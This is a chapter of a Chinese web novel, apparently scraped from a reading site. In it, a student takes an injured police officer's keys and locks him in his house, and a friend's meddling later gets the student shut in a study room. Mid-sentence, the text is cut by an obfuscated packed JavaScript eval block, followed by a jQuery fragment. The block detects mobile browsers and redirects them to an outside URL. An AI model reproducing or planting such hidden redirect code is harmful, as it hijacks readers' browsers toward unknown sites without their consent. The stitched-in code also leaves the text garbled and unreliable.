暖光线打造出的温馨氛围破灭,取而代之的是不含分毫绮念的空气,冰凉干燥,诡异十分。
短暂的一分钟被拉长,齐鑫歌欢快的背影彻底消失在剩下两人的视野里。
齐延曲率先收回视线,伸出手,吐出两个字:“钥匙。”
身侧的人没有动作。
敏锐的第六感提醒着齐延曲,有个炽热虚无的东西在他身上流连。
宛如滑腻的蛇信子在收集信息,而迟迟没有攻击。
他保持着摊开手势没动,好一会儿,才听到钥匙跟挂件碰撞的窸窣声。
谢恒逸用食指勾着钥匙圈,把钥匙近距离展示在齐延曲眼前。
戏耍一般。
钥匙随惯性晃动着,齐延曲明知这会是个圈套,还是抬手做了个抓取的动作。
果不其然,捞了个空。
悬在半空中的手虚虚握着,他脸上是早有预料的镇定,垂眸欲要将手放下。
放到一半,谢恒逸的手突地离开了推把,转而覆上了齐延曲的手背,将那莹白的五指包裹着合拢。
此番举止同他口中说出的话一般强硬:“开门这种小事我来代劳就行了,毕竟你弟弟特意嘱咐过我,照顾哥哥要亲力亲为。”
齐延曲手的骨架大小与正常成年男性无异,修长匀称,白到皮下淡青色脉络都明晰了起来,惟有指尖和饱满圆润的甲床透出粉意。
这只手执笔或翻阅卷宗时是灵活有力的,然而此时被攥在宽厚掌心中、连挣脱都做不到。
钳制方和被钳制方,一明一暗、一深一浅,相形见绌。
齐延曲没有表现出慌张,尽管谢恒逸把他的手攥得生疼,他也并未在意。
他独独在意的,是这人手心里黏乎乎的汗液跟酒液。
从娱乐场所出来后不洗手的么?
……很恶心的触感,而且感觉很脏。
他原本放松的姿态有点僵住,另一只手不由捏紧了扶手,心道现在有部分学生真是糟糕透了,年纪轻轻就学会了纵酒,再好的身体也迟早提前透支。
当然,谢恒逸对自己身体即将透支一事并不知情,他只知道面前的人极度抗拒他的接触。
齐延曲的不自在太过明显,被轻而易举看穿。
联想到其先前掩鼻的动作,谢恒逸脑子稍一转就猜出了缘由。
闻不得酒味?还真金贵。
怪不得这么脆,就一两个月没见,伤成这副惨样。
“很抱歉我弟弟擅自打扰你,”齐延曲尽量忽略掉鼻尖萦绕的刺激气味,好脾气地道了第二次歉,“我不知道他说的朋友是你,这并非我本意,我会另外找人,你只当今晚没见过我。”
说完,他微微前倾,尝试去拿谢恒逸挂回腰间的钥匙。
恰巧这时谢恒逸低下了身子。
齐延曲的脸差点撞上对方的肩膀,好在他及时撤了回来。
即便如此,两人的距离还是被拉近了。
近得齐延曲喘不过气,想退后,却退无可退,上半身已跟椅背贴得严丝合缝。
这个人简直像在酒缸子里泡过似的,扑洒出的气息都带着令人发晕的酒味,引得他浑身不适。
齐延曲一忍再忍,始终接受不了自己也染上这种难闻味道。
无奈挣扎多次无果,反将手背上的皮肉磨得阵阵泛疼。
他刚要开口让对方离远点,谢恒逸已松开了他,站直了身子,并不经意问起他小腿受伤的原因:“韧带损伤?骨折?”
似乎方才只是在察看他的伤情。
齐延曲收回惨遭揉磨的手,不语不答。
他要说的都说得很清楚了,没必要扯其他有的没的。
“齐警官,行动不便就别逞强了,你这样恐怕连自己回家都难吧?”
谢恒逸说着说着,目光触及齐延曲手背上的红痕。
那貌似是他干的。
但不是他故意干的。
他报复人向来是攻心不攻身,只击溃对方的心理防线,不会采取这么低劣的手段。
莫名地,谢恒逸感觉自己变low了。
尤其是在齐延曲眼中,绝对已经变成一个幼稚的low货了。
low货谢恒逸移开视线,继续道:“我既然答应了会帮忙,就不会中途反悔,否则到时候你出了意外算谁的?你弟弟回来不得怪罪死我?”
听着好像很合情理。
但齐延曲不听。
他左耳进右耳出,固执地冷声重复:“钥匙。”
见状,谢恒逸也懒得废话了,直接上手推着轮椅驶过住宅前庭,把人带进了屋里,顺便落了个锁。
甚而他将钥匙从落地窗的窗洞扔了出去,彻底断了齐延曲的念想。
做完这一切,他关掉一楼的灯上了楼,完全不顾那位被他强行留下的客人。
客厅登时陷入漆黑中。
玄关处,一双清亮的寒眸静静注视着,将谢恒逸胡搅蛮缠的行为尽收眼底。
齐延曲没有出声阻拦。
不知过了多久,他单手驱动轮椅至茶几旁,在桌上抽取出几张湿纸巾,慢条斯理地擦干净了手。
……
可能是因为家里多出来个陌生人,谢恒逸这一晚睡得相当不好。
昨天回到卧室后,他洗完澡在床上干坐了一个小时,也没等到齐延曲来问话。
楼下一点动静没有。
齐延曲喊都没喊他一声。
服个软有这么难么?总不能让他使完绊子又递台阶吧。
他辗转反侧半天,没由来有点气。
这股气堵在胸口散不去,不上不下,不爽得他又起身洗了一遍澡才睡下。
次日一醒,谢恒逸直奔楼下。
他酒量酒品都很好,几乎不会出现宿醉症状。
来到客厅环视一圈,最终在沙发上搜寻到一个蜷缩起的人影。
他自己都没察觉到地松了口气。
虽然他知道一个小腿受伤的人跑不了,但他觉得齐延曲是个不定的未知数——如果跑不掉,那么齐延曲想方设法都得跑掉。
谢恒逸放慢脚步走到沙发边,肆无忌惮地观察起这个客人。
客人同他昨夜一样睡得不太安稳,在梦中浅浅皱着眉,似乎很是难受。
睡姿维持住了如白日形象那般的规矩,手被抱枕压着,裹着石膏的那条腿搭在沙发扶手上,另一条腿屈起,质地细致的衣摆缩成一团堆在侧腰下方。
沙发面积仅刚刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556597|171304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好能容纳一个成年人,客人的身形偏高挑,故而睡在上边略显憋屈。
见此情景,谢恒逸感觉自己更low了。
这位他看不惯的客人好歹是个病患,他是不是应该等人好了再报复?
不对。
等人好了还有他什么事?
再说了,他被拘留了三天,算上昨天,总共有四天没睡好觉,让齐延曲睡一晚客厅怎么了!
他莫不是被齐鑫歌的吹捧洗了脑,真把自己当好人了。
谢恒逸不再收敛噪音制造,叮叮咚咚地洗漱收拾完,重重摔门而去。
今天是周四,课程排得满满当当,晚自习还有ACM模拟赛训练。
基础课谢恒逸一般是不上的,最多听下各个专业方向课玩玩,有时候帮同学调试代码,有时候帮教授打打下手。其余大部分时间他都用来琢磨些新鲜玩意。
在这个烧脑专业里,他的游刃有余属于罕见的清流。
晚上,模拟赛训练结束后,长期给予他支持的李教授把他叫去了办公室,告诉他:
“下周有个企业办的创新向竞赛,在隔壁市,挺有意思的,核心方向是漏洞利用和逆向工程……”
谢恒逸一点不委婉:“不去。”
隔壁市?他哪抽得开身?家里有人呢。
李教授哑然,没有苦口婆心地劝告,心知什么评优保研都对这学生毫无吸引力,便放下资料挥手把他赶了出去。
一来一回不过十分钟,谢恒逸回到自习室取东西时,自习室已经关了灯。
他走进去,打开灯,发现有两个人围在他桌前,正在对着他的背包指指点点。
其中一人是杨央柏,另外一人是个女的,不认识。
谢恒逸挑眉:“包里没现金,电脑装了自毁程序,这里有监控。”
那名他不认识的女生瞅了杨央柏一眼,贼兮兮的从他身边绕过,跨出了自习室门槛才摆手解释:“我们不偷东西、不偷东西。”
确实不像是偷东西的。
举止比小偷怪异多了。
谢恒逸觉得有事要发生。
还没来得及猜出具体要发生什么,事情已然发生了。
女生以迅雷不及掩耳之势关上了自习室的门。
谢恒逸当即握住门把下压,却还是慢了。
门被从外面反锁住,开不了了。
自习室只剩下他跟杨央柏两人,女生的意图不言而喻。
谢恒逸捏紧了拳头,阴森森地看向杨央柏。
今天一整天杨央柏都没来他跟前碍眼,他室友还纷纷夸这货讲信用,发誓再也不缠着就果真不缠着了。
感情在这等着他呢?
“不、不是!”
天知道杨央柏有多冤枉!
这不是他出的馊主意啊!他是真真切切打算放下谢恒逸了!
不过他的好姐妹显然还没放下,并自作聪明当了回助攻,以为让他们共处一室就可以推动感情线。
实际上推动的是他的生命线啊喂!
仇人绞尽脑汁不如姐妹灵机一动。
杨央柏被谢恒逸要杀人的眼神吓得魂飞魄散,焦急捶门,贴着门眼大喊:
“姐们你别走啊!!!”